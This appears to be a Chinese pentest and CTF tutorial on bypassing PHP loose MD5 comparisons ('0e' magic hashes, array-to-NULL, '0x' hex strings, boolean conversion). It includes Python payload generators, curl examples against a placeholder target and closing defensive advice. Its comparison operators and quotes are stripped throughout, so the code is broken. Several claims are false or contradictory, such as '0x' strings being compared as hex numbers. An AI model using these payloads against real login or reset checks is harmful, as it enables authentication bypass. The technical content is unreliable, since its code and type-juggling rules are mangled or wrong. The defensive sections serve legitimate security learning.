PHP弱类型比较漏洞实战:超越0e的三种MD5绕过姿势 1. 项目概述从“0e”到更广阔的战场在Web安全尤其是CTF竞赛和渗透测试的实战中PHP的弱类型比较漏洞是一个老生常谈却又历久弥新的议题。很多刚入门的朋友一提到MD5的弱类型比较脑子里立刻蹦出来的就是“0e”开头的魔术哈希——比如md5(‘240610708’)的结果是0e462097431906509019562988736854在PHP的比较下会被科学计数法解析为0从而与另一个0e开头的字符串如md5(‘QNKCDZO’)相等。这确实是经典中的经典但如果你在实战中只准备了这一招那很可能在稍微复杂一点的防御面前就铩羽而归了。我遇到过不少场景目标系统确实用了来比较MD5但前端做了严格的输入过滤或者后端在比较前进行了类型判断导致单纯的“0e”payload无法生效。这时候死磕“0e”就等于走进了死胡同。实际上PHP弱类型比较的“魔法”远不止于此其根源在于PHP语言本身松散的、基于类型转换的比较规则。理解这套规则你就能像开了透视一样发现更多隐蔽的绕过路径。这篇文章我就结合自己踩过的坑和实战经验抛开那些泛泛而谈的理论直接给你拆解三种在真实环境下可能用到的、超越“0e”的MD5弱类型比较绕过姿势。每一种我都会讲清楚它的原理、适用场景、构造方法并附上能帮你快速生成payload的Python脚本。我们的目标很明确让你手里的武器库更丰富面对不同的防御姿势时能有更多的选择。2. 核心原理PHP“”比较的魔法与陷阱在深入具体姿势之前我们必须把地基打牢。PHP的弱类型比较之所以能产生这么多安全问题核心在于它在进行比较时会尝试将操作数转换为相同的类型然后再进行比较。这个转换过程遵循一套内置的规则而很多漏洞就藏在这些规则的“角落”里。2.1 类型转换的优先级与“魔术”行为当使用比较一个字符串和一个数字时PHP会尝试将字符串转换为数字。转换规则是如果字符串以合法的数字开头则取开头部分作为数字值否则转换为0。var_dump(123abc 123); // true字符串123abc被转换为数字123 var_dump(abc123 0); // true字符串abc123被转换为数字0 var_dump(0e123 0); // true关键点来了。0e123被科学计数法解析为 0 * 10^123 0这就是“0e”魔术哈希的根源md5(240610708)结果是0e462097431906509019562988736854它作为一个字符串在与另一个字符串比如md5(QNKCDZO)0e830400451993494058024219903391用比较时双方都会被转换为数字0从而相等。但问题来了如果比较的一方不是字符串或者字符串不是以“0e”开头呢规则依然在起作用。2.2 数组与字符串/数字的比较这是第一种容易被忽略的绕过姿势。当一个数组与任何其他非数组类型用比较时结果永远是false吗错这里有个特例。var_dump([] false); // true空数组在布尔上下文中为false var_dump([1] true); // true非空数组在布尔上下文中为true但更重要的是当数组与字符串或数字比较时PHP会尝试将数组转换为字符串。而数组转换为字符串会产生一个警告Notice: Array to string conversion并生成字符串Array。然而在比较的上下文中这个转换会发生但结果往往出人意料var_dump([1] Array); // false因为比较时Array被尝试转为数字是0而数组[1]转为数字 var_dump([] 0); // true空数组在数字上下文中被转换为0。 var_dump([1] 1); // false。这里需要更深入。实际上array scalar标量的比较逻辑是先将数组转换为布尔值非空数组为true空数组为false然后将这个布尔值与另一个标量值进行比较。这引出了我们的第一种实战姿势。注意md5()函数如果传入一个数组会产生一个警告并返回NULL。这在某些情况下会成为我们的突破口尤其是当错误被抑制操作符或日志未妥善处理时。2.3 科学计数法字符串的更多可能除了“0e”开头以其他数字开头的科学计数法字符串在比较时也可能产生非预期的结果。例如1e3会被转换为数字1000。如果我们能构造一个MD5值使其看起来像1e9、2e8这样的形式那么在和数字1000000000、200000000比较时就可能成立。虽然MD5碰撞出特定格式的哈希极其困难但在某些特定上下文比如比较的双方都是我们可控的哈希值中这提供了另一种思路。理解了这些底层规则我们就可以像搭积木一样组合出不同的绕过方法。下面我们进入实战环节。3. 姿势一利用数组与NULL的弱比较绕过这是第一种实战姿势适用于后端代码逻辑是先计算用户输入和预设值的MD5然后用比较这两个MD5值但没有对用户输入进行严格的类型检查。3.1 漏洞场景还原假设有一段简单的认证逻辑代码如下?php $secret_key sup3r_s3cr3t_k3y_!#; if (isset($_POST[token])) { $user_token $_POST[token]; $expected_md5 md5($secret_key); $user_md5 md5($user_token); if ($user_md5 $expected_md5) { echo Access Granted! Flag: FLAG{xxxxxx}; } else { echo Access Denied!; } } else { show_source(__FILE__); }看起来无懈可击用户需要知道$secret_key才能计算出正确的MD5。但如果我们传入一个数组呢3.2 攻击原理与Payload构造当我们传入token[]aPOST请求中token是一个数组$user_token就是一个数组[a]。md5()函数无法处理数组参数它会抛出一个PHP警告Warning: md5() expects parameter 1 to be string, array given并且函数会返回NULL。那么比较就变成了$user_md5 NULL; // 因为md5(array)返回NULL $expected_md5 f5d1270e0...; // 一个正常的MD5字符串 if (NULL f5d1270e0...) { ... }在PHP的弱类型比较中NULL与任何非空字符串比较结果都是false。这条路似乎走不通。但是如果代码中使用了操作符来抑制错误或者错误报告被关闭且逻辑上存在另一个漏洞呢考虑下面这个变种// 变种从请求中获取两个值进行比较 $user_hash $_GET[user_hash]; $calc_hash md5($_GET[input]); if ($user_hash $calc_hash) { // 通过验证 }在这个场景下我们完全控制$user_hash和$calc_hash的源头。如果我们让$_GET[input]为一个数组那么$calc_hash就为NULL。为了让$user_hash NULL成立我们只需要将$user_hash设置为一个空字符串或者字符串0甚至是false。因为在PHP中var_dump( NULL); // true var_dump(0 NULL); // false! 0作为非空字符串与NULL比较为false。 var_dump(0 NULL); // true var_dump(false NULL); // true所以Payload可以是GET /vuln.php?user_hashinput[]a此时$user_hash ,$calc_hash NULL满足 NULL绕过成功。3.3 自动化Python脚本为了快速测试这种数组绕过的场景我们可以写一个简单的脚本它不仅能生成Payload还能模拟发送请求。#!/usr/bin/env python3 PHP MD5弱类型比较 - 数组绕过Payload生成器 作者你的名字 描述生成用于测试数组导致md5()返回NULL的绕过Payload。 import urllib.parse import sys def generate_array_payload(): 生成基本的数组参数Payload base_payload { input[]: anything, # 参数名后加[]表示数组 user_hash: # 空字符串用于与NULL比较 } # 转换为URL查询字符串 query_string urllib.parse.urlencode(base_payload, doseqTrue) print([] 生成的GET请求参数) print(f ?{query_string}) print(\n[] 对应的cURL命令示例) print(f curl -s -G --data-urlencode input[]anything --data-urlencode user_hash http://target.com/vuln.php) # 另一种常见变体user_hash为0数字 base_payload_num {user_hash: 0} query_string_num urllib.parse.urlencode(base_payload_num, doseqTrue) print(f\n[] 备选方案 (user_hash0)) print(f ?input[]a{query_string_num}) if __name__ __main__: print(PHP MD5弱类型比较 - 数组绕过姿势) print(*50) generate_array_payload() print(\n[!] 使用说明) print( 1. 此Payload适用于 md5($_GET[input]) $_GET[user_hash] 这类比较。) print( 2. 确保目标服务器的error_reporting不会阻止脚本执行或使用了抑制错误。) print( 3. 如果参数是POST形式请将参数放入请求体。)实操心得 在实际测试中关键是要判断比较的两边是否都可由我们控制或者一边是否可能因为我们的输入而变成NULL。如果代码是md5($fixed_secret) md5($user_input)且对$user_input没有类型检查那么传入数组使md5($user_input)返回NULL就需要让md5($fixed_secret)也与NULL相等这通常不可能除非$fixed_secret本身也能导致MD5错误比如也是一个数组。因此这种姿势更适用于“用户提供的哈希”与“计算出的哈希”进行比较的场景。4. 姿势二利用十六进制字符串与数字的转换这是第二种非常精妙的姿势利用了字符串到数字转换时对“0x”前缀的识别。它比“0e”的适用范围更广因为“0x”开头的哈希碰撞虽然也难但给我们提供了另一种构造思路。4.1 漏洞原理深度解析PHP在将字符串转换为数字时如果字符串以“0x”或“0X”开头它会被当作十六进制数处理。var_dump(0x123 291); // true因为0x123的十进制就是291 var_dump(0xabc 2748); // true0xabc 2748 var_dump(0x1e 30); // true注意这里的“e”是十六进制数字不是科学计数法。那么如果一个MD5哈希值恰好以“0x”开头后面跟着纯十六进制字符0-9, a-f那么它在与一个整数进行比较时就会被当作那个整数。例如假设存在一个神奇的字符串其MD5是0x1234567890abcdef...这显然不可能MD5是32位十六进制但我们可以找开头部分符合的。如果代码是这样if (md5($input) 0x12345678) { // 0x12345678 是十进制 305419896 // 通过 }我们只需要让md5($input)的结果字符串等于0x12345678或者0x12345678...因为转换会取到非十六进制字符前就可以绕过。虽然找到一个MD5值以特定的“0x”开头极其困难但实战中往往不是这种形式。更常见的场景是两个字符串哈希值之间的比较。如果两个MD5字符串都以“0x”开头并且后续的十六进制数字在转换为整数后相等那么它们就“相等”了。4.2 实战场景与碰撞构造考虑一个“密码重置”的漏洞场景比较的是用户提交的验证码哈希和服务器生成的验证码哈希$stored_hash md5($random_token); // 服务器生成的随机令牌的MD5 $user_hash $_POST[hash]; // 用户提交的哈希值 if ($user_hash $stored_hash) { // 允许重置密码 }如果$random_token我们不知道就无法计算$stored_hash。但如果我们能预测或控制$random_token的生成比如它是时间戳或者我们采用另一种思路我们不去碰撞一个完整的MD5而是让$user_hash满足某个条件使得$user_hash $stored_hash成立。假设我们通过某种方式如信息泄露得知$stored_hash是0e830400451993494058024219903391一个经典的0e哈希。常规的“0e”绕过是提交另一个0e哈希。但如果我们提交$user_hash 0x0呢$stored_hash(0e830...) 在比较时被转换为数字0。$user_hash(0x0) 在比较时被转换为十六进制数字0。0 0成立绕过成功。这里的关键是我们提交的$user_hash不需要是MD5格式它可以是任何字符串只要在弱类型比较下能与目标值相等即可。0x0就是一个非常简洁有效的Payload。4.3 Python脚本生成与测试十六进制Payload下面的脚本可以帮助我们生成和测试基于十六进制转换的Payload。#!/usr/bin/env python3 PHP MD5弱类型比较 - 十六进制字符串绕过工具 作者你的名字 描述生成和测试以“0x”开头的字符串这些字符串在PHP弱比较中会与特定数字相等。 import hashlib def find_hex_prefix_collision(target_number, max_attempts1000000): 尝试找到一个字符串其MD5以0x开头且后续部分转换为十进制后接近target_number。 注意这在实际中非常困难仅用于演示原理。更实用的方法是直接使用0x0、0x1等简单Payload。 print(f[*] 尝试寻找MD5以0x开头且值接近 {target_number} (0x{target_number:x}) 的碰撞...) found False for i in range(max_attempts): test_str fseed_{i} m hashlib.md5() m.update(test_str.encode()) md5_hash m.hexdigest() # 检查是否以0x开头MD5是16进制但这里我们看的是字符串表示 # 实际上我们需要的是字符串形式的MD5以0x开头这几乎不可能。 # 此函数主要用来演示“如果存在”的情况。 if md5_hash.startswith(0x): # 去掉0x将剩余部分作为十六进制解析 try: hex_value int(md5_hash[2:], 16) if hex_value target_number: print(f[!!!] 发现碰撞字符串: {test_str}, MD5: {md5_hash}) found True break except ValueError: pass if not found: print(f[-] 在 {max_attempts} 次尝试中未找到碰撞。这证实了直接碰撞的难度。) return found def generate_simple_hex_payloads(): 生成简单有效的十六进制字符串Payload payloads [] # 这些字符串在与数字比较时会被转换为对应的十进制值 simple_strings [0x0, 0x1, 0x123, 0xdead, 0xffffffff] for s in simple_strings: try: # 模拟PHP的转换 # 在PHP中0x123 291 为真 numeric_value int(s, 16) if s.lower().startswith(0x) else int(s) except ValueError: numeric_value Conversion Error payloads.append((s, numeric_value)) print([] 可直接使用的简单十六进制字符串Payload) print( 字符串 | PHP中转换后的数值) print( ------------|-------------------) for s, val in payloads: print(f {s:12} | {val}) print(\n[] 使用场景示例) print( 当目标比较类似于 $hash 0 时可提交 user_hash0x0) print( 当目标比较类似于 $hash 291 时可提交 user_hash0x123) print( **关键**你需要知道或猜测比较的另一边的数值是多少。) if __name__ __main__: print(PHP MD5弱类型比较 - 十六进制绕过姿势) print(*50) generate_simple_hex_payloads() print(\n *50) # 演示寻找碰撞的难度通常会失败 find_hex_prefix_collision(0, max_attempts50000)注意事项 这个姿势的实用性在于Payload的简洁性和对目标值的低依赖性。你不需要知道完整的MD5只需要知道或推测出比较等式另一边被转换后的数值是多少。在很多情况下如果代码是md5($input) $some_number而这个$some_number可能是一个固定的、较小的整数如0, 1, 100等那么0x0、0x1、0x64就是现成的答案。在CTF中这常常需要结合代码审计或黑盒测试去猜测。5. 姿势三利用字符串与布尔值的比较第三种姿势更加隐蔽它利用了字符串到布尔值的转换。这种场景在代码逻辑判断中可能出现而不仅仅是直接的比较。5.1 布尔转换的规则在PHP中以下值在布尔上下文中被视为false布尔值false本身整数0浮点数0.0空字符串和 字符串0空数组[]NULL其他所有值都被视为true。在弱类型比较中如果比较涉及布尔值另一方会被转换为布尔值然后再进行比较。var_dump(any string true); // true因为非空字符串转换为布尔true var_dump(0 false); // true因为字符串0转换为布尔false var_dump(0.0 false); // true var_dump( false); // true var_dump(false false); // false注意字符串false是非空字符串转换为布尔true所以 true false 为假。5.2 漏洞场景MD5哈希与布尔值直接比较想象这样一个有点奇怪但可能存在的代码$admin_hash md5($super_secret_admin_password); $user_hash md5($_POST[password]); if ($user_hash true $user_hash $admin_hash) { // 授予管理员权限 }第一重检查$user_hash true意图是确保用户提交的密码哈希计算有效非空字符串。任何非“0”的MD5哈希都会通过这一关。但如果我们传入一个密码使得md5($_POST[password])的结果恰好是字符串0或者空字符串呢这不可能MD5固定输出32位十六进制字符串。但是如果我们让$user_hash不是MD5计算结果而是我们直接提交的呢比如代码逻辑有缺陷// 错误示例从请求中直接获取哈希值而非计算 $user_hash $_POST[user_hash]; // 直接来自用户输入 $stored_hash md5($secret); // 来自数据库或配置 if ($user_hash true $user_hash $stored_hash) { // 通过 }这时我们可以提交user_hash空字符串或user_hash0。首先$user_hash true会失败吗 true空字符串转换为布尔false所以false true为false不通过。0 true字符串0转换为布尔false所以false true为false也不通过。看来不行。那如果第一重检查是$user_hash ! false呢if ($user_hash ! false $user_hash $stored_hash) { // 通过 } ! false空字符串等于false所以条件为假。0 ! false字符串0等于false条件为假。 依然不行。这个姿势的典型应用场景其实更微妙它常用于绕过哈希值必须“非空”或“有效”的初步检查进而与其他漏洞结合。例如在一个多步验证中先检查if ($hash)布尔转换再检查if ($hash $stored_hash)。如果我们能提供一个值它既满足布尔检查为true又在弱比较下等于$stored_hash那就成功了。5.3 构造技巧与Python辅助脚本我们如何构造一个字符串它既是true又在弱比较下等于一个已知的MD5哈希比如另一个true的字符串这又回到了类型转换的本质上。两个非空字符串除了0在布尔上下文中都是true。但它们用比较时是进行字符串比较。要让它们相等必须字符串内容完全相同。所以这个姿势的独立应用场景有限。但它是一个重要的“拼图”。例如在“数组绕过”姿势中我们让md5($input)返回NULL。NULL在布尔上下文中是false。如果代码先检查if ($hash)那么NULL就无法通过。这时我们就需要换用其他方法。为了系统地测试一个值在各种比较下的行为我们可以编写一个测试脚本。#!/usr/bin/env python3 PHP弱类型比较 - 布尔转换测试工具 作者你的名字 描述模拟PHP中各种值在比较和布尔上下文中的行为辅助构造Payload。 注意此脚本无法完全模拟PHP仅提供逻辑参考。 def php_loose_compare(val1, val2): 模拟PHP 比较的简化逻辑。 这是一个非常粗略的模拟仅用于演示常见情况。 真实情况复杂得多。 # 将输入转换为字符串以便分析 str1, str2 str(val1), str(val2) # 规则1: null 与 空字符串/0/false if val1 is None or val2 is None: if (val1 is None and str2 in (, 0)) or (val2 is None and str1 in (, 0)): return True if val1 is None and val2 is None: return True # 其他情况简化处理 return False # 规则2: 布尔比较 if isinstance(val1, bool) or isinstance(val2, bool): # 简化将值转换为布尔 bool1 bool(val1) if not isinstance(val1, bool) else val1 bool2 bool(val2) if not isinstance(val2, bool) else val2 if str1 0 and not bool2: return True # 0 false if str2 0 and not bool1: return True # false 0 return bool1 bool2 # 规则3: 数字与字符串比较 # 尝试将字符串转换为数字 def str_to_num(s): try: if s.lower().startswith(0x): return int(s, 16) # 科学计数法 if e in s.lower(): # 简化处理真实PHP会解析科学计数法 # 这里只处理 0eXXX 形式 if s.lower().startswith(0e) and s[2:].isdigit(): return 0 # 普通数字 return float(s) if . in s else int(s) except ValueError: return None num1, num2 str_to_num(str1), str_to_num(str2) if num1 is not None and num2 is not None: return num1 num2 # 如果一方是数字另一方是字符串但转换失败字符串转为0 if num1 is not None and num2 is None: return num1 0 if num2 is not None and num1 is None: return 0 num2 # 规则4: 最后进行字符串比较 return str1 str2 def test_candidate_payloads(target_value_description, test_cases): 测试一系列Payload与目标值的比较结果。 target_value_description: 目标值的描述如md5(secret)。 test_cases: 列表每个元素是(payload, payload描述) print(f\n[] 测试针对目标假设为 {target_value_description}的Payload) print( Payload (值) | 描述 | 模拟比较结果) print( ---------------------|---------------------|----------------) # 这里我们无法模拟真正的target_value所以展示的是Payload自身在常见场景下的行为 for payload, desc in test_cases: # 示例测试Payload 与 字符串0、整数0、布尔true/false的比较 result_vs_zero_str php_loose_compare(payload, 0) result_vs_zero_int php_loose_compare(payload, 0) result_vs_true php_loose_compare(payload, True) result_vs_false php_loose_compare(payload, False) result_vs_null php_loose_compare(payload, None) # 简化输出只显示关键信息 behavior [] if result_vs_zero_str: behavior.append(0(str)) if result_vs_zero_int: behavior.append(0(int)) if result_vs_true: behavior.append(true) if result_vs_false: behavior.append(false) if result_vs_null: behavior.append(null) behavior_str , .join(behavior) if behavior else 无特殊 print(f {str(payload):20} | {desc:19} | {behavior_str}) if __name__ __main__: print(PHP弱类型比较 - 布尔/类型转换测试工具) print(*50) print(此工具帮助理解不同Payload在PHP 比较中的行为。) print(真实环境请务必在PHP环境中验证。) # 定义一些常见的测试Payload common_payloads [ (, 空字符串), (0, 字符串0), (0e123, 科学计数法字符串), (0x0, 十六进制字符串0x0), (false, 字符串false), (true, 字符串true), ([], 空数组(字符串表示)), (1, 字符串1), (000, 字符串000), ] test_candidate_payloads(一个未知的MD5哈希, common_payloads) print(\n[!] 实战建议) print( 1. 布尔绕过通常作为组合技的一部分。) print( 2. 重点关注意图检查值是否为真或非空的条件语句。) print( 3. 如果遇到 if ($hash $hash $secret)尝试使$hash为字符串0。) print( 因为 0 在布尔上下文中为false第一个条件就不满足。) print( 4. 更可能的情况是你需要找到一个值它既是true又能在弱比较中等于目标值。)实操心得 布尔绕过姿势很少能单独奏效因为它要求一个值同时满足两个看似矛盾的条件在布尔检查中为真在弱比较中又与目标值相等。这通常意味着目标值本身也必须是一个在布尔上下文中为真的值即非零、非空字符串、非空数组等。在实战中它的价值更多体现在理解代码逻辑帮助你判断某些条件检查是否可以被绕过。组合其他姿势例如如果代码先用了is_string()或ctype_xdigit()检查是否为合法十六进制字符串然后再进行弱比较布尔绕过的思路可能就不适用需要转而寻找其他路径。6. 综合实战与防御建议掌握了这三种姿势你的武器库就丰富多了。面对一个疑似MD5弱类型比较的漏洞点你的测试流程可以这样展开6.1 系统化的测试流程信息收集通过源代码审计、错误信息、参数名猜测等确定比较的逻辑。是比较两个MD5还是比较一个MD5和一个固定值参数是否完全可控尝试经典“0e”首先还是试试最经典的“0e”开头魔术哈希对。准备一个列表比如240610708和QNKCDZO。测试数组注入如果参数是直接放入md5()函数的尝试传入数组如param[]a观察返回值是否变为NULL并尝试用空字符串或0去匹配。测试十六进制字符串如果比较的一方看起来像是一个数字或者你可以控制比较的两边尝试提交0x0、0x1等Payload。分析上下文中的布尔转换查看代码中是否有if ($var)这样的布尔检查。如果有思考你的Payload在布尔上下文中会是什么值是否会提前被过滤。组合Payload有时需要组合使用。例如先通过数组注入使一个值为NULL再通过另一个参数提供空字符串。6.2 一个综合性的Python测试脚本下面这个脚本将上述几种姿势的Payload生成集成在一起方便你在黑盒测试时快速尝试。#!/usr/bin/env python3 PHP MD5弱类型比较 - 综合测试脚本 作者你的名字 描述根据不同的场景生成对应的测试Payload。 import urllib.parse def generate_payloads(scenario): 根据场景生成Payload列表。 scenario: 1-经典0e, 2-数组绕过, 3-十六进制, 4-布尔上下文 payloads [] if scenario 1: print([] 场景经典 0e 魔术哈希碰撞) print( 适用于md5($a) md5($b) 且 $a, $b 可控或已知。) known_0e_strings [ (240610708, md5: 0e462097431906509019562988736854), (QNKCDZO, md5: 0e830400451993494058024219903391), (s878926199a, md5: 0e545993274517709034328855841020), (s155964671a, md5: 0e342768416822451524974117254469), ] for val, desc in known_0e_strings: payloads.append((fa{val}b{val}, f两者相同: {val})) # 也可以尝试两个不同的0e值 payloads.append((a240610708bQNKCDZO, 两个不同的0e字符串)) elif scenario 2: print([] 场景数组绕过 (md5(array)返回NULL)) print( 适用于md5($input) $hash 或 $hash1 md5($input) 等形式且$input或$hash可控。) base_params [ (input[], anything), ] # 多种可能匹配NULL的值 match_values [, 0, false, null] for match in match_values: params base_params [(user_hash, match)] query urllib.parse.urlencode(params, doseqTrue) payloads.append((query, finput为数组user_hash{match})) elif scenario 3: print([] 场景十六进制字符串绕过) print( 适用于$hash 某个数字 或 两个哈希字符串比较时涉及十六进制解释。) hex_strings [0x0, 0x1, 0x123, 0xdeadbeef, 0e0] # 0e0也是科学计数法0 for hs in hex_strings: payloads.append((fhash{hs}, f十六进制字符串: {hs})) # 补充一些科学计数法变种 sci_strings [0e123, 1e0, 2e1] for ss in sci_strings: payloads.append((fhash{ss}, f科学计数法: {ss})) elif scenario 4: print([] 场景布尔上下文绕过 (通常需结合其他条件)) print( 注意此场景Payload单独使用成功率低主要用于理解逻辑。) bool_candidates [0, 1, , false, true, on, off] for bc in bool_candidates: payloads.append((fvar{bc}, f测试布尔转换: {bc})) else: print([-] 未知场景) return payloads def main(): print(PHP MD5弱类型比较 - 综合Payload生成器) print(*50) print(请选择要测试的场景) print( 1. 经典 0e 魔术哈希碰撞) print( 2. 数组绕过 (md5(array) - NULL)) print( 3. 十六进制字符串/科学计数法绕过) print( 4. 布尔上下文测试) try: choice int(input(输入数字 (1-4): )) except ValueError: print(输入无效。) return if choice not in [1,2,3,4]: print(选择超出范围。) return payload_list generate_payloads(choice) if payload_list: print(f\n[*] 生成 {len(payload_list)} 个Payload) for i, (payload, desc) in enumerate(payload_list, 1): print(f\n {i}. {desc}) print(f 参数: {payload}) # 如果是GET请求给出完整URL示例 if ? not in payload and in payload: print(f GET示例: http://target.com/vuln.php?{payload}) else: print(未生成Payload。) if __name__ __main__: main()6.3 给开发者的防御建议作为开发者如何避免落入弱类型比较的陷阱方法非常简单且绝对有效始终使用严格比较和!这是最根本、最有效的解决方案。严格比较会先检查类型再检查值。类型不同直接返回false彻底杜绝了类型转换带来的诡异问题。// 错误 if ($user_hash $stored_hash) { ... } // 正确 if ($user_hash $stored_hash) { ... }进行显式的类型检查与转换如果确实需要比较先确保类型一致。例如在比较哈希值时确保双方都是字符串并且可以使用strcmp()或hash_equals()专门用于比较哈希值可防止时序攻击函数。// 使用 hash_equals 防止时序攻击和类型问题 if (hash_equals($stored_hash, $user_hash)) { ... } // 或者确保是字符串再比较 if (is_string($user_hash) (string)$user_hash (string)$stored_hash) { ... }验证输入类型在处理用户输入尤其是要放入md5()、sha1()等函数前使用is_string()进行检查。if (!is_string($user_input)) { die(Invalid input type.); } $user_hash md5($user_input);避免将用户输入直接用于关键比较尽量不要设计“用户提交一个哈希值与服务器存储的哈希值比较”这样的逻辑。应该让用户提交原始数据如密码、令牌由服务器来计算哈希并进行比较。7. 总结与延伸思考通过上面的拆解我们可以看到PHP弱类型比较的绕过其核心在于深刻理解操作符背后那套复杂的类型转换规则。从“0e”魔术哈希到数组、十六进制字符串、布尔转换每一种姿势都是这套规则在不同场景下的应用。我个人在实际测试中的体会是不要迷信任何一种“万能”Payload。真实环境中的代码千奇百怪可能混合了类型检查、正则过滤、多次编码等。最有效的方法是“白盒黑盒”结合。如果有源代码就仔细审计每一个比较操作符和类型转换函数如intval(),strval()如果是黑盒测试就系统化地尝试上述几种姿势并仔细观察服务器的响应差异如错误信息、响应时间、返回状态。最后再分享一个小技巧在测试时除了提交Payload不妨也尝试在参数名或参数值中加入一些特殊字符如空格、换行符%0a、号等有时PHP的解析器会因为这些字符的处理差异导致变量获取的值与预期不同这可能为你打开另一条绕过之路。安全测试的本质就是不断地探索系统的“边界”和“例外情况”。